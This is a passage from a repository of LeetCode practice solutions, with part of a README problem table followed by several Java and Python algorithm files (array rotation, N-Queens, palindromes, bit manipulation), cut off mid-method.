II](https://leetcode.com/problems/word-search-ii/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/WordSearchII.java)|Hard| |85|[Single Number](https://leetcode.com/problems/single-number/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/SingleNumber.java)|Easy| |86|[Sum Root to Leaf Numbers](https://leetcode.com/problems/sum-root-to-leaf-numbers/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/SumNumbers.java)|Medium| |87|[Evaluate Division](https://leetcode.com/problems/evaluate-division/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/EvaluateDivision.java)|Medium| |88|[Scramble String](https://leetcode.com/problems/scramble-string/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ScrambleString.java)|Hard| |89|[Shortest Palindrome](https://leetcode.com/problems/shortest-palindrome/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ShortestPalindrome.java)|Hard| |90|[Employees Earning More Than Their Managers](https://leetcode.com/problems/employees-earning-more-than-their-managers/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/CompareEmployeesEarning.sql)|Easy| |91|[Count-Primes](https://leetcode.com/problems/count-primes/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/CountPrimes.java)|Easy| |92|[Pow(x, n)](https://leetcode.com/problems/powx-n/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/Pow.java)|Medium| |93|[LargestNumber](https://leetcode.com/problems/largest-number/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/LargestNumber.java)|Medium| |93|[Ransom Note](https://leetcode.com/problems/ransom-note/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/RansomNote.java)|Easy| |94|[Pascal-Triangle](https://leetcode.com/problems/pascals-triangle/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/PascalTriangle.java)|Easy| |95|[Repeated DNA Sequences](https://leetcode.com/problems/repeated-dna-sequences/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/RepeatedDNASequences.java)|Easy| |96|[Spiral Matrix](https://leetcode.com/problems/spiral-matrix/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/SpiralMatrix.java)|Medium| |97|[Lexicographical Numbers](https://leetcode.com/problems/spiral-matrix/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/LexicographicalNumbers.java)|Medium| |98|[Trips and Users](https://leetcode.com/problems/trips-and-users/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/TripsandUsers.sql)|Hard| |99|[The Skyline Problem](https://leetcode.com/problems/the-skyline-problem/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/TheSkylineProblem.java)|Hard| |100|[Search Insert Position](https://leetcode.com/problems/search-insert-position/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/SearchInsertPosition.java)|Hard| |101|[Find K Pairs with Smallest Sums](https://leetcode.com/problems/find-k-pairs-with-smallest-sums/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/KSmallestPairs.java)|Medium| |102|[Single Number II](https://leetcode.com/problems/single-number-ii/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/SingleNumberII.java)|Medium| |103|[Sort Colors](https://leetcode.com/problems/sort-colors/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/SortColors.java)|Medium| |104|[Move Zeroes](https://leetcode.com/problems/move-zeroes/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MoveZeros.java)|Easy| |105|[Substring with Concatenation of All Words](https://leetcode.com/problems/substring-with-concatenation-of-all-words/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/FindSubString.java)|Hard| |106|[Customers Who Never Order](https://leetcode.com/problems/customers-who-never-order/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/CustomersWhoNeverOrder.sql)|Easy| |107|[Convert Sorted List to Binary Search Tree](https://leetcode.com/problems/convert-sorted-list-to-binary-search-tree/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/SortedListToBST.sql)|Medium| |108|[Longest Common Prefix](https://leetcode.com/problems/longest-common-prefix/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/LongestCommonPrefix.java)|Easy| |109|[Minimum Moves to Equal Array Elements II](https://leetcode.com/problems/minimum-moves-to-equal-array-elements-ii/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MinMoves2.java)|Medium| |110|[Gas Station](https://leetcode.com/problems/gas-station/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/GasStation.java)|Medium| |111|[Repeated Substring Pattern](https://leetcode.com/problems/repeated-substring-pattern/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/RepeatedSubstringPattern.java)|Easy| |112|[N-Queens](https://leetcode.com/problems/n-queens/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/NQueens.java)|Hard| |113|[Word Search](https://leetcode.com/problems/word-search/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/WordSearch.java)|Medium| |114|[Roman to Integer](https://leetcode.com/problems/word-search/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/RomantoInteger.java)|Easy| |115|[Wildcard Matching](https://leetcode.com/problems/wildcard-matching/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/WildcardMatching.java)|Hard| |116|[Remove Duplicate Letters](https://leetcode.com/problems/remove-duplicate-letters/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/RemoveDuplicateLetters.java)|Hard| |117|[Maximum Product of Word Lengths](https://leetcode.com/problems/maximum-product-of-word-lengths/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MaximumProductofWordLengths.java)|Medium| |118|[LFU Cache](https://leetcode.com/problems/lfu-cache/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/LFUCache.java)|Hard| |119|[Longest Palindromic Substring](https://leetcode.com/problems/longest-palindromic-substring/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/LongestPalindromicSubstring.java)|Medium| |120|[Elimination Game](https://leetcode.com/problems/elimination-game/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/EliminationGame.java)|Medium| |121|[Word Break](https://leetcode.com/problems/word-break/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/WordBreak.java)|Medium| |122|[Minimum Window Substring](https://leetcode.com/problems/minimum-window-substring/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MinimumWindowSubstring.java)|Hard| |123|[UTF-8 Validation](https://leetcode.com/problems/utf-8-validation/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/UTF_8_Validation.java)|Medium| |124|[Find Minimum in Rotated Sorted Array II](https://leetcode.com/problems/find-minimum-in-rotated-sorted-array-ii/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/FindMinimumInRotatedSortedArrayII.java)|Hard| |125|[Longest Word in Dictionary through Deleting](https://leetcode.com/problems/longest-word-in-dictionary-through-deleting/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/LongestWordInDictionary.java) [Python](https://github.com/xu6148152/Algorithm-Practice/blob/master/leetcode/src/main/python/longest_word_dictionary.py)|Medium| |126|[Edit Distance](https://leetcode.com/problems/edit-distance)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/EditDistance.java) [python](https://github.com/xu6148152/Algorithm-Practice/blob/master/leetcode/src/main/python/edit_distance.py)|Hard| |127|[Max Sum of Rectangle No Larger Than K](https://leetcode.com/problems/max-sum-of-sub-matrix-no-larger-than-k)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MaxSumOfRectangeNoLargerThanK.java) [python](https://github.com/xu6148152/Algorithm-Practice/blob/master/leetcode/src/main/python/maxSumSubmatrix.py)|Hard| |128|[Queue Reconstruction by Height](https://leetcode.com/problems/queue-reconstruction-by-height)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/ReconstructHighestQueue.java) [python](https://github.com/xu6148152/Algorithm-Practice/blob/master/leetcode/src/main/python/queue_reconstruction_by_height.py)|Medium| |129|[Find All Anagrams in a String](https://leetcode.com/problems/find-all-anagrams-in-a-string)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/FindAllAnagrams.java) [python](https://github.com/xu6148152/Algorithm-Practice/blob/master/leetcode/src/main/python/findAllAnagrams.py.py)|Easy| |130|[Same Tree](https://leetcode.com/problems/same-tree)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/SameTree.java) [python](https://github.com/xu6148152/Algorithm-Practice/blob/master/leetcode/src/main/python/sameTree.py.py)|Easy| |131|[Populating Next Right Pointers in Each Node](https://leetcode.com/problems/populating-next-right-pointers-in-each-node)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/PopulatingNextRightPointers.java) [python](https://github.com/xu6148152/Algorithm-Practice/blob/master/leetcode/src/main/python/populatingNextRightPointers.py)|Medium| |132|[Longest Palindromic Subsequence](https://leetcode.com/problems/longest-palindromic-subsequence)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/LongestPalindromeSubSequence.java) [python](https://github.com/xu6148152/Algorithm-Practice/blob/master/leetcode/src/main/python/longestPalindromicSubsequence.py)|Medium| |133|[Unique Binary Search Trees II](https://leetcode.com/problems/unique-binary-search-trees-ii)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/UniqueBinarySearchTreesII.java) [python](https://github.com/xu6148152/Algorithm-Practice/blob/master/leetcode/src/main/python/uniqueBinarySearchTreesII.py)|Medium| |134|[Flatten Binary Tree to Linked List](https://leetcode.com/problems/flatten-binary-tree-to-linked-list)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/FlattenBinaryTreetoLinkedList.java) [python](https://github.com/xu6148152/Algorithm-Practice/blob/master/leetcode/src/main/python/FlattenBinaryTreetoLinkedList.py)|Medium| |135|[Pacific Atlantic Water Flow](https://leetcode.com/problems/pacific-atlantic-water-flow)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/PacificAtlanticWaterFlow.java) [python](https://github.com/xu6148152/Algorithm-Practice/blob/master/leetcode/src/main/python/pacificAtlanticWaterFlow.py)|Medium| |136|[Range Sum Query 2D - Immutable](https://leetcode.com/problems/range-sum-query-2d-immutable)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/NumMatrix.java) [python](https://github.com/xu6148152/Algorithm-Practice/blob/master/leetcode/src/main/python/NumMatrix.py)|Medium| |137|[Minimum Moves to Equal Array Elements](https://leetcode.com/problems/minimum-moves-to-equal-array-elements)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/MinimumMoves.java)[python](https://github.com/xu6148152/Algorithm-Practice/blob/master/leetcode/src/main/python/MinimumMoves.py)|Easy| |138|[Palindrome Number](https://leetcode.com/problems/palindrome-number/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/PalindromeNumber.java)|Easy| |139|[Valid Parentheses](https://leetcode.com/problems/valid-parentheses/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/ValidParentheses.java)|Easy| |140|[Remove Duplicates from Sorted Array](https://leetcode.com/problems/remove-duplicates-from-sorted-array/description/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/RemoveDuplicatesFromSortedArray.java)|Easy| |141|[Remove Element from Sorted Array](https://leetcode.com/problems/remove-element/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/RemoveElement.java)|Easy| |142|[Implement strStr()](https://leetcode.com/problems/implement-strstr)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/StrStr.java)|Easy| |143|[Maximum Subarray](https://leetcode.com/problems/maximum-subarray)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/MaxSubArray.java)|Easy| |144|[LengthOfLastWord](https://leetcode.com/problems/length-of-last-word)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/LengthOfLastWord.java)|Easy| |145|[Plus One](https://leetcode.com/problems/plus-one/description/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/PlusOne.java)|Easy| |146|[Sqrt](https://leetcode.com/problems/sqrtx/description/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/Sqrt.java)|Easy| |147|[Maximum Depth of Binary Tree](https://leetcode.com/problems/maximum-depth-of-binary-tree)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/MaximumDepthofBinaryTree.java)|Easy| |148|[Convert Sorted Array to Binary Search Tree](https://leetcode.com/problems/convert-sorted-array-to-binary-search-tree)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/ConvertSortedArraytoBinarySearchTree.java)|Easy| |149|[Pascal's Triangle II](https://leetcode.com/problems/pascals-triangle-ii)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/PascalsTriangleII.java)|Easy| |150|[Best Time to Buy and Sell Stock](https://leetcode.com/problems/best-time-to-buy-and-sell-stock/description/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/BestTimetoBuyandSellStock.java)|Easy| |151|[Linked List Cycle](https://leetcode.com/problems/linked-list-cycle/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/LinkedListCycle.java)|Easy| |152|[Intersection of Two Linked Lists](https://leetcode.com/problems/intersection-of-two-linked-lists/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/IntersectionofTwoLinkedLists.java)|Easy| |153|[Two Sum II - Input array is sorted](https://leetcode.com/problems/two-sum-ii-input-array-is-sorted/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/TwoSumII.java)|Easy| |154|[Excel Sheet Column Title](https://leetcode.com/problems/excel-sheet-column-title)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/ExcelSheetColumnTitle.java)|Easy| |155|[Majority Element](https://leetcode.com/problems/majority-element)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/MajorityElement.java)|Easy| |156|[Factorial Trailing Zeroes](https://leetcode.com/problems/factorial-trailing-zeroes)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/FactorialTrailingZeroes.java)|Easy| |157|[Rotate Array](https://leetcode.com/problems/rotate-array)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/RotateArray.java)|Easy| |158|[Reverse Bits](https://leetcode.com/problems/reverse-bits)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/ReverseBits.java)|Easy| |159|[House Robber](https://leetcode.com/problems/house-robber)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/HouseRobber.java)|Easy| |160|[Remove Linked List Elements](https://leetcode.com/problems/remove-linked-list-elements)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/RemoveLinkedListElements.java)|Easy| |161|[Reverse Linked List](https://leetcode.com/problems/reverse-linked-list)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/ReverseLinkedList.java)|Easy| |162|[Contains Duplicate](https://leetcode.com/problems/contains-duplicate)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/ContainsDuplicate.java)|Easy| |163|[Combine Two Tables](https://leetcode.com/problems/combine-two-tables)|[MySql](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/CombineTwoTable.sql)|Easy| |164|[Second Highest Salary](https://leetcode.com/problems/second-highest-salary)|[MySql](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/SecondHighestSalary.sql)|Easy| |165|[Tenth Line](https://leetcode.com/problems/tenth-line)|[bash](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/TenthLine.bash)|Easy| |166|[Rising Temperature](https://leetcode.com/problems/rising-temperature)|[MySql](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/RisingTemperature.sql)|Easy| |167|[Contains Duplicate II](https://leetcode.com/problems/contains-duplicate-ii)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/ContainsDuplicateII.java)|Easy| |168|[Power of Two](https://leetcode.com/problems/power-of-two)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/PowerOfTwo.java)|Easy| |169|[Implement Queue using Stacks](https://leetcode.com/problems/implement-queue-using-stacks)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/MyQueue.java)|Easy| |170|[Palindrome Linked List](https://leetcode.com/problems/palindrome-linked-list)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/PalindromeLinkedList.java)|Easy| |171|[Lowest Common Ancestor of a Binary Search Tree](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/LowestCommonAncestorOfABinarySearchTree.java)|Easy| |172|[Delete Node in a Linked List](https://leetcode.com/problems/delete-node-in-a-linked-list)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/DeleteNodeInALinkedList.java)|Easy| |173|[Valid Anagram](https://leetcode.com/problems/valid-anagram)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/ValidAnagram.java)|Easy| |174|[Add Digits](https://leetcode.com/problems/add-digits)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/AddDigits.java)|Easy| |175|[Ugly Number](https://leetcode.com/problems/ugly-number)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/UglyNumber.java)|Easy| |176|[First Bad Version](https://leetcode.com/problems/first-bad-version)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/FirstBadVersion.java)|Easy| |177|[Word Pattern](https://leetcode.com/problems/word-pattern)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/WordPattern.java)|Easy| |178|[Nim Game](https://leetcode.com/problems/nim-game)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/NimGame.java)|Easy| |179|[Range Sum Query - Immutable](https://leetcode.com/problems/range-sum-query-immutable/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/RangeSumQueryImmutable.java)|Easy| |180|[Reverse String](https://leetcode.com/problems/reverse-string/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/ReverseString.java)|Easy| |181|[Reverse Vowels of a String](https://leetcode.com/problems/reverse-vowels-of-a-string/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/ReverseVowelsOfAString.java)|Easy| |182|[Intersection of Two Arrays](https://leetcode.com/problems/intersection-of-two-arrays/)|[Java](./src/main/java/com/binea/www/leetcodepractice/algorithm/easy/IntersectionofTwoArrays.java)|Easy| <file_sep>package com.binea.www.leetcodepractice.algorithm.easy; /** * Created by binea on 25/9/2017. */ public class RotateArray { /** * Rotate an array of n elements to the right by k steps. * <p> * For example, with n = 7 and k = 3, the array [1,2,3,4,5,6,7] is rotated to [5,6,7,1,2,3,4]. * <p> * Note: * Try to come up as many solutions as you can, there are at least 3 different ways to solve this problem. * * @param nums * @param k */ public void rotate(int[] nums, int k) { if (nums == null || nums.length == 0) { return; } k = k % nums.length; int count = 0; for (int i = 0; count < nums.length; i++) { int current = i; int prev = nums[i]; do { int next = (current + k) % nums.length; int temp = nums[next]; nums[next] = prev; prev = temp; current = next; count++; } while (i != current); } } public void rotateReverse(int[] nums, int k) { if (nums == null || nums.length == 0) { return; } k = k % nums.length; reverse(nums, 0, nums.length - 1); reverse(nums, 0, k - 1); reverse(nums, k, nums.length - 1); } private void reverse(int[] nums, int start, int end) { while (start < end) { int tmp = nums[start]; nums[start] = nums[end]; nums[end] = tmp; start++; end--; } } } <file_sep>def minDistance(self, word1, word2): """ :type word1: str :type word2: str :rtype: int """ w1 = len(word1) w2 = len(word2) r = [[ 0 for j in range(w2+1)] for i in range(w1+1)] for i in range(w1+1): for j in range(w2+1): if i == 0: r[i][j] = j elif j == 0: r[i][j] = i elif word1[i-1] == word2[j-1]: r[i][j] = r[i-1][j-1] else: r[i][j] = 1 + min(r[i][j-1], r[i-1][j], r[i-1][j-1]) return r[w1][w2]<file_sep>package com.binea.www.leetcodepractice.algorithm; /** * Created by xubinggui on 6/30/16. * // _ooOoo_ * // o8888888o * // 88" . "88 * // (| -_- |) * // O\ = /O * // ____/`---'\____ * // . ' \\| |// `. * // / \\||| : |||// \ * // / _||||| -:- |||||- \ * // | | \\\ - /// | | * // | \_| ''\---/'' | | * // \ .-\__ `-` ___/-. / * // ___`. .' /--.--\ `. . __ * // ."" '< `.___\_<|>_/___.' >'"". * // | | : `- \`.;`\ _ /`;.`/ - ` : | | * // \ \ `-. \_ __\ /__ _/ .-` / / * // ======`-.____`-.___\_____/___.-`____.-'====== * // `=---=' * // * // ............................................. * // 佛祖镇楼 BUG辟易 */ public class N_Queens_II { /** * Follow up for N-Queens problem. * * Now, instead outputting board configurations, return the total number of distinct solutions. */ int count = 0; public int totalNQueens2ms(int n) { boolean[] cols = new boolean[n]; // columns | boolean[] d1 = new boolean[2 * n]; // diagonals \ boolean[] d2 = new boolean[2 * n]; // diagonals / backtracking(0, cols, d1, d2, n); return count; } public void backtracking(int row, boolean[] cols, boolean[] d1, boolean []d2, int n) { if(row == n) count++; for(int col = 0; col < n; col++) { int id1 = col - row + n; int id2 = col + row; if(cols[col] || d1[id1] || d2[id2]) continue; cols[col] = true; d1[id1] = true; d2[id2] = true; backtracking(row + 1, cols, d1, d2, n); cols[col] = false; d1[id1] = false; d2[id2] = false; } } public int totalNQueens1msWithNoneExtraSpace(int n) { dfs(0, n, 0, 0, 0); return count; } private void dfs(int row, int n, int column, int diag, int antiDiag) { if (row == n) { ++count; return; } for (int i = 0; i < n; ++i) { boolean isColSafe = ((1 << i) & column) == 0; boolean isDiagSafe = ((1 << (n - 1 + row - i)) & diag) == 0; boolean isAntiDiagSafe = ((1 << (row + i)) & antiDiag) == 0; if (isColSafe && isDiagSafe && isAntiDiagSafe) { dfs(row + 1, n, (1 << i) | column, (1 << (n - 1 + row - i)) | diag, (1 << (row + i)) | antiDiag); } } } } <file_sep>package com.binea.www.leetcodepractice.algorithm; /** * Created by xubinggui on 5/12/16. * // _ooOoo_ * // o8888888o * // 88" . "88 * // (| -_- |) * // O\ = /O * // ____/`---'\____ * // . ' \\| |// `. * // / \\||| : |||// \ * // / _||||| -:- |||||- \ * // | | \\\ - /// | | * // | \_| ''\---/'' | | * // \ .-\__ `-` ___/-. / * // ___`. .' /--.--\ `. . __ * // ."" '< `.___\_<|>_/___.' >'"". * // | | : `- \`.;`\ _ /`;.`/ - ` : | | * // \ \ `-. \_ __\ /__ _/ .-` / / * // ======`-.____`-.___\_____/___.-`____.-'====== * // `=---=' * // * // ............................................. * // 佛祖镇楼 BUG辟易 */ public class BestTimeToBuyAndSellStockII { /** * Say you have an array for which the ith element is the price of a given stock on day i. * * Design an algorithm to find the maximum profit. You may complete as many transactions as * you like (ie, buy one and sell one share of the stock multiple times). However, you may * not engage in multiple transactions at the same time (ie, you must sell the stock before * you buy again). * greedy * @param prices * @return */ public static int maxProfit(int[] prices) { int total = 0; for(int i = 0; i<prices.length - 1; i++) { if(prices[i+1] > prices[i]) { total += prices[i+1] - prices[i]; } } return total; } } <file_sep>package com.example.stack_queue; import java.util.Stack; /** * Created by binea on 2016/11/9. */ public class SortStack { private Stack<Integer> orginStack = new Stack<>(); private Stack<Integer> bufferStack = new Stack<>(); public void push(Integer value) { if(!orginStack.isEmpty()) { Integer topValue = orginStack.peek(); if(topValue < value) { topValue = orginStack.pop(); // bufferStack.push(topValue); orginStack.push(value); orginStack.push(topValue); } }else { orginStack.push(value); } } public Integer pop() { return orginStack.pop(); } public Integer peek() { return orginStack.peek(); } public void sort() { while(!orginStack.isEmpty()) { int tmp = orginStack.pop(); while(!bufferStack.isEmpty() && bufferStack.peek() > tmp) { orginStack.push(bufferStack.pop()); } bufferStack.push(tmp); } } } <file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by xubinggui on 10/01/2017. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class LongestPalindromicSubstring { private int lo, maxLen; /** * Given a string s, find the longest palindromic substring in s. You may assume that the maximum length of s is 1000. * * Example: * * Input: "babad" * * Output: "bab" * * Note: "aba" is also a valid answer. * Example: * * Input: "cbbd" * * Output: "bb" */ public String longestPalindrome15ms(String s) { int len = s.length(); if (len > 1000) { return null; } if (len < 2) { return s; } for (int i = 0; i < len - 1; i++) { extendPalindrome(s, i, i); //assume odd length, try to extend Palindrome as possible extendPalindrome(s, i, i + 1); //assume even length. } return s.substring(lo, lo + maxLen); } private void extendPalindrome(String s, int j, int k) { while (j >= 0 && k < s.length() && s.charAt(j) == s.charAt(k)) { j--; k++; } if (maxLen < k - j - 1) { lo = j + 1; maxLen = k - j - 1; } } public String longestPalindrome14ms(String s) { if (s == null) { return null; } int len = s.length(); if (len <= 2) { return s; } char[] chars = s.toCharArray(); int rs = 0, re = 0; int max = 0; for (int i = 0; i < len; i++) { if (isPalindrome(chars, i - max - 1, i)) { rs = i - max - 1; re = i; max += 2; } else if (isPalindrome(chars, i - max, i)) { rs = i - max; re = i; max += 1; } } return s.substring(rs, re + 1); } private boolean isPalindrome(char[] chars, int start, int end) { if (start < 0 || start > end) { return false; } while (start < end) { if (chars[start++] != chars[end--]) { return false; } } return true; } } <file_sep>package com.binea.www.leetcodepractice.algorithm.easy; import com.binea.www.leetcodepractice.algorithm.ListNode; /** * Created by binea on 6/10/2017. */ public class PalindromeLinkedList { /** * Given a singly linked list, determine if it is a palindrome. * * @param head * @return */ public boolean isPalindrome(ListNode head) { if (head == null || head.next == null) { return true; } if (head.val == head.next.val && head.next.next == null) { return true; } ListNode slow = head; ListNode cur = head.next; while (cur.next != null) { if (slow.val == cur.next.val) { if (cur.next.next != null) { return false; } cur.next = null; slow = slow.next; cur = slow.next; if (cur == null || slow.val == cur.val) { return true; } } else { cur = cur.next; } } return false; } } <file_sep>package com.example.bits; import java.util.ArrayList; /** * Created by binea on 2016/11/12. */ public class Bits { public int updateBits(int n, int m, int i, int j) { int allOnes = ~0; //1s int left = allOnes << (j + 1); int right = (1 << i) - 1; int mask = left | right; int nCleared = n & mask; int shifted = m << i; return nCleared | shifted; } public String printBinary(double num) { if (num >= 1 || num <= 0) { return "ERROR"; } StringBuilder sb = new StringBuilder(); sb.append("."); while (num > 0) { if (sb.length() >= 32) { return "ERROR"; } double r = num * 2; if (r >= 1) { sb.append(1); num = r - 1; } else { sb.append(0); num = r; } } return sb.toString(); } public int getNext(int n) { int c = n; int c0 = 0; int c1 = 0; while (((c & 1) == 0) && (c != 0)) { c0++; c >>= 1; } while ((c & 1) == 1) { c1++; c >>= 1; } if (c0 + c1 == 31 || c0 + c1 == 0) { return -1; } int p = c0 + c1; n |= (1 << p); n &= ~((1 << p) - 1); n |= (1 << (c1 - 1)) - 1; return n; } public int getPrev(int n) { int temp = n; int c0 = 0; int c1 = 0; while ((temp & 1) == 1) { c1++; temp >>= 1; } if (temp == 0) { return -1; } while (((temp & 1) == 0) && (temp != 0)) { c0++; temp >>= 1; } int p = c0 + c1; n *= ((~0) << (p + 1)); int mask = (1 << (c1 + 1)) - 1; n |= mask << (c0 - 1); return n; } public int getNextArith(int n) { int c = n; int c0 = 0; int c1 = 0; while (((c & 1) == 0) && (c != 0)) { c0++; c >>= 1; } while ((c & 1) == 1) { c1++; c >>= 1; } if (c0 + c1 == 31 || c0 + c1 == 0) { return -1; } return n + (1 << c0) + (1 << (c1 - 1)) - 1; } public int getPreArith(int n) { int temp = n; int c0 = 0; int c1 = 0; while ((temp & 1) == 1) { c1++; temp >>= 1; } if (temp == 0) { return -1; } while (((temp & 1) == 0) && (temp != 0)) { c0++; temp >>= 1; } return n - (1 << c1) - (1 << (c0 - 1)) + 1; } public int bitSwapRequired1(int a, int b) { int count = 0; for (int c = a ^ b; c != 0; c >>= 1) { count++; } return count; } public int bitSwapRequired2(int a, int b) { int count = 0; for (int c = a ^ b; c != 0; c &= (c - 1)) { count++; } return count; } public int swapOddEvenBits(int x) { return (((x & 0xaaaaaaaa) >> 1) | ((x & 0x55555555) << 1)); } public int findMissing(ArrayList<BitInteger> array) { return findMissing(array, 0); } public int findMissing(ArrayList<BitInteger> input, int column) { if (column >= BitInteger.INTEGER_SIZE) { return 0; } ArrayList<BitInteger> oneBits = new ArrayList<>(input.size() / 2); ArrayList<BitInteger> zeroBits = new ArrayList<>(input.size() / 2); for (BitInteger bitInteger : input) { if (bitInteger.fetch(column) == 0) { zeroBits.add(bitInteger); } else { oneBits.add(bitInteger); } } if (zeroBits.size() <= oneBits.size()) { int v = findMissing(zeroBits, column + 1); return (v << 1); } else { int v = findMissing(oneBits, column + 1); return (v << 1) | 1; } } class BitInteger { public int val; public int integerSize; public static final int INTEGER_SIZE = 32; public int fetch(int column) { return (val & (1 << column)) >> column; } public BitInteger(int val) { this.val = val; for (int i = val; i >= 0; i &= i - 1) { this.integerSize++; } } } public void drawLine(byte[] screen, int width, int x1, int x2, int y) { int startOffset = x1 % 8; int firstFullByte = x1 / 8; if (startOffset != 0) { firstFullByte++; } int endOffset = x2 & 8; int lastFullByte = x2 / 8; if (endOffset != 7) { lastFullByte--; } for (int b = firstFullByte; b 